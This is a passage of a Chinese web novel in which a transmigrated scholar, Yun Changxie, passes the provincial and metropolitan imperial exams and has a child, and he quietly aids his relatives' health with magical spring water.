他就被两个衙役熟练的捂住嘴拖走了。 等在考场外的云家人,看着被扔出来,或者被拉去打板子的考生,就忍不住十分担心云长歇。 他们不担心云长歇会发疯,云长歇就不是那种情绪不稳定的性格。 他这个人不管大悲还是大喜,都是一脸十分沉稳冷静的模样。 像是他这样的性格,是很难做出疯疯癫癫的事情的。 云家人主要担心的是他的身体。 他的身体差,哪怕这两年好了很多,依旧是不及普通人的。 他们见有不少考生,因为无法忍受考场艰苦的环境提前出来,就十分担心身体不好的云长歇会出事。 在他们这样焦急担忧的情绪下,云长歇一直坚持到了最后才出来。 他出来的时候,跟大多数考生一样狼狈不堪。 里面没有条件洗澡,头几天高温,后几天下雨,整个人都已经馊了。 这对于一个很爱干净,很注重仪表的人来说,简直可以称之为酷刑。 还有就是,高压下,在条件艰苦的号舍睡觉,也让他们现在十分的憔悴和痛苦。 云长歇一出来,就被云家众人用轿子抬了回去。 回到家里,云长歇一边又困又乏,一边又想要洗个澡。 于是一直没有让人伺候过的他,第一次让家里的下人伺候着洗了个澡。 若是平日里,云长歇估计还会有点不好意思。 但是今时不同往日,今天的他早已经累疯了,只想洗一个澡躺下来休息,也就没时间计较这个了。 乡试的结果,要五日后才放榜。 这一次京城参考人数高达三千人,却只录取一百人,算是竞争十分激烈了。 再加上参考的都是秀才,难度就要比之前的院试难很多。 说实话,云长歇并没有太大的把握,他第三场的状态不怎么好,估计考试时发挥的不大好。 因为难得的有点焦虑,云长歇后面五天就哪里也没有去,开始安心的在家里等待着放榜。 二十三那一日早上,贡院门口就围满了人。 大房那边派了下人去看榜,刚巧与云长歇的书童碰见个正着。 云长歇的书童个头小,就与大房的下人凑到一起,打算到时候一起挤进去。 云长歇这个当事人不在,大房的下人便开口问书童。 “怎么样?你家公子对这一次的乡试有把握吗?” 书童闻言摇了摇头,“主夫不让大家问,公子又是个不显山露水的,我也不清楚公子考得如何。” “罢了,还是等着看榜吧?老夫人也不期待,他非要考出个名堂来。老夫人最在意的,还是长歇公子的身体。” 书童听到这话笑了笑,老夫人对家里的小辈都很不错。 不管是公子还是小姐,每一个都是老太太的心头肉。 公子能够遇见这样的长辈,也算是公子的运气好了。 随着红榜张贴出来,从贡院里开始陆陆续续出来了很多报喜官。 这些报喜官报喜,都是从后往前报的。 比如一共录取一百名,他们就从第一百名往前报。 不等书童与下人往前挤,他们就在人群里听到有人问:“这个云长歇是不是云侍郎家的?” 云长歇没有什么名气,但是云姓在京城比较少。 京城姓云的,最有名气的就是云侍郎与云少卿。 而云少卿是长字辈,是很多年前的状元郎。 如今突然又看到了一个云家长字辈的,就有不少人忍不住联想到了云少卿。 “好像是云侍郎家的侄子,据说是一个身体不好的。” “身体不好啊?怪不得,他的名次不算高。” 书童听到他们的对话,跑到几人身边询问道:“请问几位,我们家公子在第几名?” 说话那几个对他说道:“在第四十七名。” 因为前头有个太过出挑的云长誉,云长歇这个弟弟就算榜上有名,只要他的名次不算多么出挑,大家都不会觉得他有多么厉害。 但是书童却不是这样想的,他们家的公子身体不大好。能够坚持考完已经不错了,如今能够榜上有名,云家肯定都很开心的。 书童再三确认了没有错,就小跑着回去报喜去了。 然后很快,云长誉也知道了这件事情,得知弟弟如愿考上了举人,他的心里也觉得挺开心的。 名次什么的都是虚的,最重要还是要看以后在官场上的造化。 与此同时的另一边,在府城参加乡试的云长尧与云长庚的成绩也出来了。 云长尧考上了,在比较靠后的位置。 云长庚没有考上,也不知道是他心态不好,还是因为他的学问不到家。 云长庚从看完红榜后,心情一直十分的不好。 他已经考了很多次了,如今的年纪也很大了。这一次又没有考中,下一次,父亲估计都不允许他再考了。 这样,就如了三夫人的愿。 想到这里他就生气,他一直没办法考上,除了他自身很多问题,也有三夫人在背后捣乱。 他的妻子,一直闹着不让他读书。 他平日里看书时,也会经常跑过来打扰他。 她只惦记他这个人,完全没有想过他想要什么。 总觉得他考中了,以后就不要她这个糟糠妻了。 却不知道,她越是这样帮助三夫人,他的心里就越是怨恨她。 …… 报喜的官差,来到云家的时候,柳氏提前准备了喜钱。 她是真的很开心,开心儿子有出息,更开心她能够陪在儿子身边。 如今亲自给报喜官差喜钱,都让她这个当娘的觉得自豪。 如愿的考上了举人,云长歇当天晚上就回了一趟大房。 他率先要去见祖母,之后还要去见大伯与大堂哥。 要不是有他们照拂,这两年他也没有办法安心读书。 云长歇与云长誉聊天的时候,云长誉突然提起了柳氏娘家那边。 “据说,那一日你去接柳姨娘时,她差一点被逼着再嫁了?” 云长歇闻言,平静无波的眼眸里起了波澜。 这件事情他一直记着,如今这样刻苦的读书,也有想要报仇的心思。 之前他只是个秀才,人微言轻。 在那种土匪窝里,文弱书生一无是处。 他想着他要考出来,有了功名在身,才能整治柳氏娘家那样的不良风气。 这件事情,他一直没有跟别人说过,他也自认为藏得很隐蔽。 却没有想到,这件事情云长誉已经知道了。 云长誉想要扶持云长歇起来,以后他们云家当官的多几个,他们之间才能互相扶持走得更远。 为了扶持云长歇,他自然需要调查云长歇以前的情况,也就自然知道了柳氏娘家那边的事。 这样的亲戚不能留,以后绝对会是麻烦。 云长誉这一次找云长歇聊天,就是为了帮他解决这件事的。 “这件事情交给为兄,为兄会帮你处理好的。” 云长歇听到这话一愣,随即一脸不解的说道:“大哥,何必为了这种小事烦忧,长歇自有办法解决掉他们。” “不行,明年三月就是春闱了。我的意思是,让你下场试一试。若是考不上就当了解一下情况,若是考上了你也能早点步入官场。” 说到这里的时候,云长誉叹了一口气。 “你别看我现在官职高,似乎前途无量一样。但是大理寺与其他地方不同,想要升迁是十分困难的。而且我是陛下的爪牙,手里人命无数,注定不会走得太高。我们这一辈里面,也就长梓在当官,却是个闲散小官。云家好不容易才爬上来,我不希望云家再没落。” “可是,就算会试我侥幸过了,名次也不会很靠前。到时候去参加殿试,估计也只能在二甲里。这样的我,就算当了官,也会是个小官。” “那没有关系,只要你当了官,以你的品性,人心,要比我和长梓更适合当官。加上有我父亲,二叔帮你,你以后的官运不会太差。” 第58章 第 58 章 云长歇觉得他学问还不够…… 云长歇觉得他学问还不够, 能够考一个举人就不错了。想要在会试里考出好名次,估计还要再磨砺个几年才行。 但是看云长誉的意思,是想要他早一点步入仕途, 想要他明年三月就参加会试。对此云长歇确实没有把握,心里忍不住有了点焦虑。 不过云长誉有一句话说得对,报仇这些事情早一点晚一点都一样。他不该为了报仇这样的小事情,耽搁了他读书这样重要的事情。 前面那几年他都能忍了, 如今距离会试没多久了, 他没有必要急于一时的。 与云长誉谈过之后, 云长歇就安定了下来,决定继续好好去读书, 把其他事情先搁置一旁。 刚好现在苏青箬肚子大了, 眼看着马上就要生了,他需要陪在对方身边, 也没有时间管其他的。 忘了说的是,今年的五月份,云长誉的夫郎林氏, 给云长誉生了个儿子。 这是云侍郎心心念念盼来的孙子, 还是嫡长孙。 有了这个孩子,林氏算是在云家大房站稳了脚跟。 除了林氏生下一子这件事,在同年的六月云长睦也成婚了。 他一直拖着没有成婚,主要是他这个人不想成家,不想那么早被人给管着。 如今大哥成婚了,还生了个儿子。 不管他自己愿不愿意, 大房这边都要逼着他成婚。 苏青箬是在九月下旬生的孩子,他的底子不差,加上孕期家里照顾的好, 又有那么多灵泉水滋补,苏青箬这一胎生得很轻松。 他几乎没怎么疼,上午发动,上午就生了。 因为太过顺利,顺利到还没有他以前闹肚子疼呢,苏青箬还以为他的体质特殊,所以生孩子才会不觉得疼。 实际上,根本不是他体质特殊,是云长歇舍得给他补。 养颜丹,灵泉水,等到他生完了,还给补了一颗培元丹。 培元丹是养伤用的,苏青箬生完孩子流了不少血,这个也是可以给他用的。 偷偷给他喂了一颗培元丹,次日苏青箬就想要下床照顾孩子了。 可惜甜桑却不准他劳累,哪怕他已经可以下床四处走动,孩子也没有交到苏青箬的手里。 孩子是个哥儿。 很白胖的一个哥儿。 柳氏不是个刻薄的人,只要都是她的亲孙子,哪怕是哥儿她也喜欢。 同样的,云长歇也一样。 他是现代人,穿越过来的。 他不在乎孩子的性别,只要都是他的孩子,他都喜欢,都疼爱他。 孩子出生后,云家不少人都过来看过。 先是老夫人,老夫人来的时候带了不少礼物与滋补品,都是给辛苦生孩子的苏青箬的。 说来云家还没有几个哥儿,云家这边不是男儿就是姑娘,也就二房生了一个小哥儿。 如今突然多了个哥儿,老夫人就觉得十分稀罕。 老夫人见苏青箬身体恢复的这样好,还笑着拉着苏青箬的手夸奖他。 “你这孩子身体真不错,生完孩子恢复这么快,很明显是个有福气的。” 说到这里,老夫人想到了长孙家的那个。 林氏的身体也很不错,可惜他第一胎滑胎了,没怎么休息又怀了个。 生完孩子之后,最近他的身体就不大好,老夫人心里就有点担心。 看出了老夫人眼底的忧愁,守在一旁的云长歇就问了出来。 “祖母,家里那边是出了什么问题吗?” 如今云长歇正在为了会试做准备,老夫人是不怎么想把事情告诉他的。 但是她看了看苏青箬,她有心让苏青箬与大房这边多走动,犹豫了一下还是开口告诉了他们。 “本来这样的事情,不该跟你们说的。但是祖母心里担忧,怕那孩子出事了。你们也知道,你们大哥有克妻的名声。如今好不容易娶了个夫郎,我就特别担心他有什么闪失。” “嫂夫郎出了什么事情吗?” “他第一个滑胎了,身体没怎么好好养,就急着又怀了一个。他觉得长誉年纪大了,担心以后长誉没有后,就着急忙慌的生了个。然后他生完这个孩子,身体明显就不大好了。你大哥心里担心,最近去上值时频频出错,哎……都是苦命的孩子啊。” 云长歇闻言笑了笑,开口安慰老太太道:“祖母不要担心,我看嫂夫郎是个有福的,只要他这段时间好好养着,应该不会出什么大问题的。我会让青箬多去看看他,我娘熬了一手养身体的好汤,青箬恢复的这样好这样快,就是因为喝那汤喝好的,以后我让青箬带些过去。” 老夫人听到这话,点了点头。 老夫人来过之后,云长誉就带着林氏也过来了。 之前云长誉儿子出生,云长歇给了很厚的见面礼。 如今轮到云长歇的孩子了,云长誉这边自然是很舍得的。 对方送了一个金镶玉的长命锁,亲自挂到了云长歇家哥儿的脖子上。 林氏见云长誉似乎很喜欢那小哥儿,就压低声音询问了一句云长誉。 “夫君是不是更喜欢小哥儿?” “喜欢啊,哥儿都像你一样,善良,单纯,可爱。” 云长誉这样说完,随即看了林氏一眼,然后就拉住林氏的手道:“我这样说,可不是在催你再给我生一个。你现在的身体大不如前了,你最主要的事情还是养身体。” 林氏闻言心里欢喜,“知道了,我一定会好好养身体的。就算要生个哥儿,也要等我身体好起来。” “其实一个孩子就行了,生孩子毕竟是消耗身体的事情。你之前滑过胎,又何必……” 不等云长誉继续说,云长歇就捧着一碗甜汤过来了。 云长誉见状也不好在别人家多说什么。 云长歇笑着对他们两人说道:“这汤是我娘亲手做的,里面放了不少好东西,兄长与嫂夫郎都来尝尝。” 这汤,确实是柳氏做的。 但是后来云长歇动了手脚,在里面加了大约八/九滴灵泉。 祖母说嫂夫郎身体大不如前,云长歇就想要给他补一补身子。 云长歇对于林氏没有什么好感,也不讨厌林氏。 他之所以要给林氏补身体,主要还是看在云长誉的面子上。 云长誉对他很好,一直以来帮过他不少。 云长歇对这个哥哥很看重,自然不希望他以后伤心难过。 以后云长歇打算,让苏青箬多去大房走动走动。到时候让他带些汤汤水水过去,给老夫人尽孝的同时,也能让林氏跟着一起补补。 云长歇端来的甜汤,林氏原本是不想喝的。他最近没有什么胃口,也不喜欢喝这种甜的。 但是由于是云长歇端来的,他也不好真的一口都不喝。 最后在云长歇的注目下,他还是勉强的喝了两口。 结果没有想到,那柳氏的手艺真的挺不错的,甜汤的口感也意外的很好喝。 甜而不腻,还带着一种说不出来的清香,让他喝了之后身心都舒畅。 林氏觉得这汤很不错,便让一旁的云长誉也尝了尝。 云长歇见状也立刻附和道:“兄长也尝尝吧,我娘的手艺很好的。” 云长誉被林氏与云长歇逼着,只好也跟着一起喝了几口。 之后的天气渐渐冷了,云长歇没有给家里的哥儿办满月酒。 这个时候天气冷,孩子才一个月多,身体差,见太多的人,对他并没有好处。 云长歇就想,不如等到一周岁时办个隆重一点的抓周礼。 到时候孩子也大了一点,身体抵抗能力会更强一些。 而抓周,在云长歇看来,要比满月酒更重要。 对此苏青箬也觉得有道理,他也觉得京城的十一月太冷了。 若是他们家办满月酒,到时候家里来一堆的客人,小孩子要一个个见一遍,说不定容易感染了风寒。 后面几个月的时间,云长歇开始安心读书,为后面的会试做准备。 在此期间,苏青箬会时常带着吃的喝的去大房走动。 他与林氏感情不错,也喜欢这样的走动。 他带去的吃的喝的里都有灵泉,这些东西送到大房那边之后,不是进了老夫人的嘴里,就是进了林氏和他孩子的嘴里。 至于大房其他人? 云长睦是看不上云长歇的,他的妻子自然不会跟苏青箬走得近。 苏青箬带的那些吃的喝的,在他们眼里都比较的粗俗,他们就更加不可能吃了。 这样也好,他们看不上云长歇,以后也别沾云长歇的光。 经过苏青箬这么多次的奔波,林氏的气色肉眼可见的好了很多。 林氏觉得他的身体能好起来,应该是他最近有人一起玩的原因。 多亏了,苏青箬天天大老远来陪伴他,他的心情好了,自然身体就好了起来。 另一边的老夫人,也察觉到了身体的变化。 她身边的嬷嬷给她梳头时,疑惑的对老太太说道:“老夫人,你的头发似乎变黑了?” 一直以来都是她在伺候老夫人,老夫人的头上有多少白头发,她要比老夫人自己都清楚。 最近她发现,老夫人新长出来的头发是黑的。 也就是说,前面的是白的,后面的是黑的。 老夫人闻言不相信,便让她给拔了一根下来。 等到她亲眼看见,她忍不住大笑了起来。 “估计是最近喜事多,先是大孙子有了儿子,紧接着小孙子中举,小孙子又有个哥儿……怪不得都说人逢喜事精神爽,哈哈哈,老太太我啊,这是要返老还童喽。” 第59章 第 59 章 会试又叫春闱,一般在乡…… 会试又叫春闱, 一般在乡试的第二年二月或者三月举行。 举办地点在京城,各地的举人想要参加会试,都要齐聚到京城这边来。 有一些地方比较偏远, 很多考生会提前一两个月过来。 所以从过了年之后,京城这边明显要比往日更加热闹了。 如今云长歇住在京城,倒是没有了长途跋涉的辛苦。在别人提前往京城这边赶时,他在利用这段时间努力读书中。 这一次云家, 除了云长歇要参加会试, 大房的云长睦, 三房的云长尧,以及二房的云长佑都要参加。 这个时候的云长歇, 已经知道了云长庚没有考中举人的消息。 同样的, 秋平县那边,也得知了云长歇考中了举人的事情。 对此, 三夫人那边估计没少闹腾。 可惜这个时候,云长歇一家都搬到了京城,她就是想要闹也没有人陪着她。 今年的会试在二月, 二月要比三月冷。 而京城又靠北边, 要比南方很多地方冷很多。 冷要比热可怕多了,尤其是对云长歇这样体弱的人,冷简直可以说是一种酷刑了。 为了应对即将到来的会试,云长歇就把给苏青箬和孩子的灵泉水停了。 他的灵泉水,每天只能产生五滴。 原本积攒的灵泉水,已经被他差不多用完了。 如今三个人用, 灵泉水就不怎么够了。 不过好在,苏青箬的身体早就恢复了,孩子的身体也十分健康。 天气冷的时候, 只要他们不四处乱跑,他们的情况就不容易生病。 最近这一段时间,苏青箬知道他要应对会试,也从来不带孩子来打扰他。 他们家的人多,又有一群下人伺候着。 苏青箬不需要洗衣做饭,更不需要亲自带着孩子,平日里倒是不怎么辛苦。 如今的孩子,大多数是甜桑与杜若在照顾。 有的时候柳氏心情好,也会把孩子接过去照顾几天。 在这样的情况下,孩子的事情根本不会麻烦到云长歇。 养育孩子,最麻烦的其实不是生,而是之后琐碎的养育。 养育的过程是漫长,辛苦的,若是只交给一个人,很容易让人觉得烦躁。 好在,现在是古代,而不是现代。 不然苏青箬和云长歇,也没有办法这样的轻松。 会试是在二月初九,与乡试一样考三场,一场考三天,一共考九天。 稍微不一样的是,会试不用三场都待在考场里。 因为会试在二月份,二月份天气太冷。 初九考第一场,初九,初十,十一考试,十二可以休息。 然后从十三开始考第二场,十六休息一天,十七再继续考第三场。 会试录取方式比较特殊,分为正榜和副榜。 被正榜录取的考生,已经算是准进士了。 只要参加过殿试,不出什么大错处,一般都会是进士或同进士。 被副榜录取的考生,成绩不如正榜优秀。他们不能称为进士,也不能参加殿试,却可以进行授官。一些副榜录取的考生,还可以进入国子监读书。 初九那一日,云长歇在书院夫子的带领下,早早就等在贡院门口了。 他排在第二队列,然后听其他同窗说话的时候,看见了排在第一队列的云长睦。 云长睦与他在一个书院里读书,两个人又是堂兄弟的亲戚关系,按道理两个人应该很熟悉才对。 然而实际上,他们两个同窗了快三年,却一直没有怎么说过话。 相较于云长睦这个堂哥,云长歇反而跟其他的同窗关系更好一些。 一个同窗也看见了云长睦,见云长睦故意装作没有看见云长歇,就忍不住替云长歇打抱不平道:“你这个堂兄还真是自恃甚高,每一次看到你都要装作没看见。” 另一个同窗闻言,也忍不住说道:“就是,他在书院读书快七八年了,到现在他还只是一个举人,也不知他在得意个什么?” 云长歇身体不好,只来书院不到三年,他现在已经是举人了。 可是云长歇从来不得意,他对人一直十分的客气,也不会看不起别人的出身。 再加上云长歇长得好看,他在书院的人缘挺好的。 云长睦就不行了,对方只跟世家子一起玩,他看不起商户,寒门出身的学子,平日里待人处事总是端着。说话做事也比较刻薄,完全没办法和云长歇比,也不知道他在高傲个什么。 云长歇没有接他们的话,君子不该在人后说人坏话。但是这两个人是为了他,才开口那样说云长睦的,他也不好指责他们不对。 云长歇便转移了话题,聊起了今天特别冷的天气。 “今天的天气格外冷,你们两个人考试的时候,一定要记得好好保暖啊,可不能这时候冻到了。” 两人闻言也觉得今天很冷,其中一个下意识缩了缩脖子。 “我们会注意的,你不要总是担心我们,你自己的身体不大好,还是多关心关心自己吧。” 之后他们没有再继续多聊,因为要陆陆续续准备进考场了。 与此同时的另一边,苏青箬正抱着富顺坐在窗前发呆。 今天云长歇出门时他就起来了,他想要跟着云长歇送他进考场的。 云长歇却说,这一次他只是下场试试水,苏青箬若是亲自送他去考场,他的心里会忍不住有压力的。 苏青箬想了想,还是决定不去了。 反正云长歇有书童陪着,书院那边还有那么多夫子与同窗,他一个大男人应该没有什么问题。 再加上,云长歇觉得他去送会有压力,他不去送就能让他压力小点。 云长歇走后,苏青箬就睡不着了。 孩子被甜桑抱走了,他一个人没什么事,就只能抱着猫发呆。 这两年富顺老了不少,就没有以前那么爱往外面跑了。 听说,猫最多可以活十几岁。 他们家这只猫,来家里时就不小了,如今又过了好几年,也不知道现在多大了。 云长歇养的那几只山雀都没了,苏青箬觉得应该早就已经死了。 鸟类的寿命短,猫的寿命也不长。 以后云长歇若是再养小东西,苏青箬就让他养些寿命长的。这样以后养出了感情,就不用看着它们死去了。 等到天亮了,苏青箬就起身去厨房,准备给孩子热羊奶。 哥儿是没有奶水的,哥儿生孩子一般是买一只正在哺乳期的羊,也有家境好些的可以买到稀罕的奶牛。 云家大房刚刚生了个孙子,云侍郎给孙子买了不少的口粮。 紧接着,苏青箬的孩子就出生了,他们倒是不需要再买这些了。 因为大房一个孩子,是吃不了多少的,就给这边送来了几只。 他们家的小哥儿,不喜欢喝牛乳,只喝羊乳。 云长歇怕这种羊乳有细菌,还自制了一个可以杀菌的过滤器。 云家其他人不懂他在搞什么,不过对于云长歇的安排他们一向很配合。 云长歇说对孩子好,不管多么麻烦,他们都愿意一起做。 苏青箬在忙碌的时候,总觉得自个的身体似乎比以前好了很多。 以前天气冷的时候,他的手,脚,脸,耳朵,都很容易生冻疮。 哪怕后来有了下人伺候,天冷了都不需要他干活,他的手也会经常被冻肿。 可是今年冬天,他不仅身上没有再生冻疮,似乎也没有以前那样怕冷了。 说来也怪,明明现在搬到了京城,京城要比秋平县更冷。 头两年过来的时候,他总觉得这里特别冷。 今年也不知怎的,他似乎觉得没有那么难捱了? 这样想着的时候,苏青箬觉得他家小哥儿难不成是福星,不然他的身体为什么变化这样大呢? 第60章 第 60 章 会试的难度,要比乡试更…… 会试的难度, 要比乡试更难一点。加上是跟全国的举人比,那难度就不是一般的。 说实话,云长歇自己是没有太大的把握的。这一次刚进考场, 十分难得的有点紧张。 会试的第一场,主要考的是墨义,策问,律法, 诗赋。 墨义的题量不算多, 考的题目也比较偏僻。若是考生的基础打得差一点, 这一次的题目很容易答不上来。 云长歇的基础还是很不错的,所以做起题目并不算很难。 他把墨义题做完, 后面做题速度就慢了很多。 大周, 似乎对律法要求挺高的,从这几次考试就能看得出来, 关于律法的题量比较多。 看出来了大周科举的侧重,云长歇就率先做了律法题,给了律法题足够多的时间。 他这一次进考场, 依旧没有带多少东西。 吃的, 喝的,用的,都是从考场里面买的。 考场里可以买到水,水分为热水和冷水。 还可以买到被褥,炭火。 炭火分为好多种,越是好的越是昂贵。 云长歇现在不缺钱, 他想着会试也就这几天,就买了最好的金丝炭。 买最好的炭,在号舍这样小的空间, 也不用担心被烟气熏到。 夜里休息的时候,他更是多点了一些炭火,这样就不大会着凉了。 有云长歇这样不缺钱的,也有一些贫苦的考生。 他们不舍得花钱买炭,很多都是苦苦挨过去的。 在这样的情况下,就算他们有一些才华,在考试时也会大打折扣。 也不知道,是不是他们这一届考生倒霉还是怎么? 本来二月的天就冷,第一场的最后一天还下了一场小雨。 云长歇明显感觉到,就算点上炭火号舍里也特别冷。 他冻的一直在跺脚,很想起来活动活动。 但是这个时候,是第一场的最后一天。 他还有一首诗没有写,写完了还要检查一下考卷,还真的没有什么时间活动。 云长歇这还是在有炭火的情况,那些没有买炭火的考生连手指都冻僵了,他们写字的时候状况只会比云长歇还要更差。 想到这里,云长歇叹了一口气。 出身低的人,想要往上爬是真的难。 若是他以后可以当官,一定想办法让他治下的百姓先富裕起来。 第一场考试结束之后,云长歇就跟着大家一起离开了贡院。 会试是三场考完,才会一起进行阅卷。 也就是说,不是一场一场出成绩。 要等到三场都考完,然后结合三场考试情况进行录取。 今年的举人有五千多人,其中正榜也就是贡士录取二百人。 副榜,录取一百人。 总共放一起是三百人。 正榜二百人录取后,在会试一个月后参加殿试。 云长誉让云长歇试一把,只要云长歇这一次能够成为贡士,之后就百分百可以成为进士了。 因为殿试不会淘汰,只是给贡士们进行重新排名。 殿试考完,会分为三甲。 第一甲,一共有三名。 第一是状元,第二是榜眼,第三是探花。 然后是二甲,二甲也就是进士,大约有四十名。 三甲也是进士,但是一般叫同进士,也有五十多名。 而殿试排名,除了看考生的学问,还要看考生的长相。 是的,在古代当官也是看脸的。 满朝文武,除了一些功勋士族,很多官员长得都很出众。 因为他们代表朝廷的颜面,而天下的才子能人有那么多,朝廷当然要选长得好看的,这样上朝的时候也赏心悦目。 他们大周的这位陛下,就是一个特别看脸的。 云长誉与这位陛下熟悉,知道他喜欢长的好看的。他就想着若是云长歇参加殿试,陛下看见了他那张漂亮的脸蛋,说不定心情一好把他点为了探花。 探花,虽然不及状元风光,却也是一甲里的,也算是为云家光宗耀祖了。 当然了,这是云长誉自己的想法。 他自己是个大才子,考个会试对他来说十分简单。 只可惜,云长歇读书时间太短,就算他比较擅长读书,他的底子也不够扎实。 云长歇自己的心里,是没有多少底气的。 第一场结束,云长歇被书童接回了家里。 云长睦,云长尧,云长佑都去了大房那边。 云长歇没有与他们见面,也不清楚他们考得如何。 他回到家里,第一件事就是躺下来好好歇了歇。 等到他缓过劲来,他就去看了看孩子。 孩子这个时候,正在柳氏的房里。 小家伙是个情绪稳定的,只有不舒服了才会闹脾气,平日里是个饿都不哭的。 他与云长歇不算熟悉,每一次云长歇想要抱他,他似乎都有一点抵触。 柳氏见云长歇又抱孩子,孩子用没有什么力气的手推云长歇的脸,就忍不住偷偷笑了起来。 柳氏:“孩子的名字,你给想好了吗?” 小名早就想好了,小名就叫糯米团。 至于大名? 因为是第一个孩子,云长歇一直没有定下来。他总觉得不管叫什么,都配不上他家宝宝。 “还没有,等我会试考完,我空出两天时间好好给他取一个。” 柳氏闻言有点无奈,“你要是实在想不出来,就抱到你大伯那里去,让他给你想一个好的。” 孩子也出生好几个月了,再不取一个像样的名字,之后他要怎么上族谱? 云长歇没有答应,而是糊弄了过去。 他还是想要自己取,自己的娃,还是自己取才能合心意。 云长歇在家里休息一天,第二天就继续参加会试。 也是这个时候,他才知道云长尧感染了风寒,第二场好像没有办法参加了。 云长尧的身体挺好的,不像是容易感染风寒的人,也不知道他这是怎么搞的。 云长歇进了考场后,就不再乱想其他的,而是专注于考试中。 而在他努力考试时,另一边云长尧正带着病体跪在云侍郎的面前听训。 云长尧的身体确实很好,他被他娘养得十分壮实。 本来他是不该生病的,可惜他这个人比较粗心大意,来京城考试这么重要的时刻,会试头两天他还跟人去逛了青楼。 是的,这件事情云侍郎一开始是不知道的。 还是云长尧突然病倒,他询问府里下人才知晓的。 云长尧会感染风寒,就是在青楼感染的。 当时的情况不严重,他就是有点打喷嚏,他就没有当回事。 后来在考试时下了雨,他的风寒这才加重的。 得知这件事情后,云侍郎是非常生气的。他很想狠狠打云长尧一顿,让他这个时候还敢去逛青楼。 真是不要脸的蠢货! 可惜孩子现在病着,还不是他亲生的,最终他只能忍了下来。 云侍郎把云长尧批了一顿,就开始给秋平县的三弟写书信,把他好儿子干的事都告诉了他。 徐氏是个心眼小的,他若是不跟三弟说清楚。对方说不定会以为,是大房这边照顾不周,才导致云长尧感染风寒的。 第二场考试,天气依旧很冷。 大概是考试压力大,加上天气严寒,第二场有不少人生病了。 云长歇在做题的时候,一直能听到有人在捂住嘴咳嗽。 咳嗽声若是太大了,也会被考场的考官劝退的。 因为他们没办法判断,咳嗽的人是真的病了,还是在故意影响别人。 这个时候是很残酷的,考场不会因为极个别的几人,就去牺牲绝大多数人的利益。 有些考生觉得他还能坚持,咳嗽的时候尽量捂住嘴巴。 但是住在他临近的考生就受不了,就会叫衙役过来查看情况。 于是就出现了,很多感染了风寒,情况不算严重的考生,也纷纷被带离了考场。 云长歇没有感染风寒,他一直在注意自己情况,这几天一直十分的小心。 第二场安然无恙考完,云长歇刚刚回到家里,大房就送来了不少补品。 送东西的下人对云长歇说道:“老夫人说最近天冷,长歇公子一定要注意身体。” 云长歇跟对方道了谢,把人送出了家门口,这才回到家里休息。 老夫人送来不少好东西,云长歇却没有要用的意思。 他没有生病,下面还有一场要考。 是药三分毒,这个时候他还是不要乱吃补品比较好。【你现在阅读的是 】 60-70 第61章 第 61 章 最后一场考试的时候,云…… 最后一场考试的时候, 云长歇都有一点咳嗽了。 他有点担心感染了风寒,进入号舍之后,就连忙多喝了两口灵泉水。 好在, 他就是有点轻微的咳嗽,考试的时候多喝一些热水,并不会影响到其他考生。 越是到了最后,就越是不能放松。 云长歇最后一场考得很认真, 最后一天哪怕全部写完了, 他也没有急着离开考场, 而是认真检查起了考卷。 终于考完的时候,他跟着大家一起踏出贡院那一刻, 云长歇有一种说不出来的感觉。 有点轻松, 有点茫然,还有点担心。 他回去的时候, 是坐马车回去的。 这一次是陈猎户,与书童一起来接他的。 估计也是猜到了,他连续考了三场考试身体这会儿早就撑不住了。 事实上, 这个时候的云长歇确实有点撑不住了。 他一坐到马车上就睡着了, 很累,不止是身体累,心理上也累。 号舍太小了,他在考场休息的很不好。 加上天气寒冷,他十分担心自己夜里着凉,这几天一直都是撑着的。 说来还要感谢陛下体谅, 若是如同乡试一样一连考三天,他这样的小身板还真的受不了。 回去之后,云长歇一直都在休息。 苏青箬为了让他能休息好, 这几天都是让他一个人睡的。 一直等到云长歇恢复一些,他这才让人把云长歇的被褥抱回房里来。 会试的成绩,是在会试结束后的第五天出红榜。 五天的时间,云长歇已经把那股疲惫劲恢复过来了。 他精神头不错,就打算跟大家一起去看红榜。 放榜这一天早上,贡院门口人满为患,要比乡试时还要热闹。 云长歇带着人去了贡院旁边一处酒楼等着,陈猎户,书童,甜桑去看榜。 原本苏青箬也想去的,后来他看了看外面那么多人,还是打消了这个念头。 算了,他不能说话,若是被人挤到了,估计别人都不知道。 在云长歇小夫夫两个人等待放榜时,云家其他众人也纷纷过来看榜了。 今天赶上云长誉休沐,他便带着下人也来看榜了。 云长誉过来的时候,云长歇没有看到云长尧还觉得十分奇怪。 后来还是远志跟他解释了一下,他才知道考试时都发生了什么。 “主子,长尧公子考试时生病了,没能参加后面两场考试。” “生病了?” 云长尧被徐氏养的很好的,身体素质应该没有这样差啊? “长尧公子是逛青楼感染的风寒。” 听到这话不仅云长歇无语了,就是苏青箬都是一脸的不理解。 科举这样重要的时候,云长尧是疯了吗?为什么非要这个时候去青楼? 远志:“不止长尧公子考试前去青楼,我听街坊邻居说有不少考生,说是没有见识过京城的花魁,考试前有不少人去过青楼的。他们这些读书人自诩风流,来参加科举带来不少银子,又没有父母与妻眷管着,可不一个个暴露了本性。” 自古以来,话语权都掌控在文人的手里。 他们朝三暮四,花心滥交,却偏偏自诩是风流多情。 要是有女子,哥儿敢效仿,那他们就是不知廉耻,水性杨花。 哪怕这个女子,哥儿,是公主,是皇亲国戚,他们都可以骂上一骂。 云长歇自己也是文人,自是明白文人风光的表象下的龌龊。 远志说完这些话,见云长歇不吭声,担心云长歇会生气,于是他又补救道:“当然,主子你与他们不同,你从来不会去青楼的,身边也只有主夫一个,你这样的才是真的君子。” 云长歇闻言笑了笑,他根本没有因为远志的话生气。 不过听到远志这样说他,他的心里还是觉得很开心的。 因为苏青箬就在身边,远志也算是帮他在苏青箬面前长脸了。 这样想着,云长歇摸出一块碎银子扔给了远志。 远志立刻欢喜的接过来,然后跟云长歇道了一声谢,就乖乖站到一边伺候着。 云长歇对于这一次的会试,是没有太大的把握的。 他本以为这一次会陪跑,结果等到看到陈猎户一脸欢喜朝着酒楼奔来时,云长歇忍不住跟着激动了起来。 陈猎户会这样开心,肯定是他考中了的。 不然以陈猎户的脾气,他也不会这样欢喜。 事实上,云长歇确实考中了。 他的名次比较靠后,在一百四十六名。 率先看见他的名字的,不是陈猎户,也不是书童,而是云家大房那边的人。 那人主要是为了帮云长睦,云长佑查看名次的。结果没有想到,看着看着率先看到了云长歇的名字。 云长歇也是云家的公子,他看到了,自然要对外面等待的人说一声。 一直在人群外围等到的云长睦,听到云长歇考中了的消息时,脸上的表情说不出来的难看。 云长誉看着他的表情,忍不住微微皱了皱眉头。 